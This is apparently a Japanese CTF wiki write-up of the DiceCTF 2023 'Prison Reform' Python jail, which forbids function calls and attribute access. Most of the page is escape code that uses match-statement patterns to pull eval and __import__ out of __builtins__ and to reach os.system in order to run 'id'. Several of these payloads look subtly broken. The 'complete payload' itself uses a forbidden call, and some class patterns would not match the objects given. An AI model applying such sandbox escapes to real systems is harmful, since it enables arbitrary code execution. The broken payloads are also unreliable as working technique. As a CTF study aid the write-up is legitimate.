pyjail wiki

DiceCTF 2023 - Prison Reform

Challenge

Python 3.10+ の環境で、特定の構文が制限されている。

# Python 3.10+
import ast
code = input()
tree = ast.parse(code)
FORBIDDEN = {ast.Call, ast.Attribute}
for node in ast.walk(tree):
if type(node) in FORBIDDEN:
print("Forbidden!")
exit()
exec(code)

Solution

match 文の利用

Python 3.10 で導入された match 文を使用:

match __builtins__:
case {'eval': e}:
pass
# e に eval 関数がバインドされる

パターンマッチングによる属性抽出

match obj:
case type(__class__=c):
pass
# c に obj.__class__ がバインドされる

完全なペイロード

match __builtins__:
case {'__import__': i}:
pass
match i('os'):
case type(system=s):
pass
# s('id') を実行
# ただし Call が禁止されている場合は別の方法が必要

Technical Details

match 文の AST

import ast
code = """
match x:
case y:
pass
"""
tree = ast.parse(code)
# Match(subject=Name(id='x'), cases=[...])

パターンの種類

パターン
Capturecase x:
Mappingcase {'key': v}:
Classcase type(attr=x):
Sequencecase [a, b]:
ORcase a | b:

Call なしでの関数実行

# デコレータを使用
@func
class X: pass

Alternative Solutions

別解1: walrus 演算子との組み合わせ

match [x := __builtins__]:
case _:
pass

別解2: 例外からのフレーム取得

try:
raise ValueError
except ValueError as e:
match e:
case type(__traceback__=tb):
pass

Flag

dice{...}

References

  • DiceCTF 2023 Official
  • PEP 634 (Structural Pattern Matching)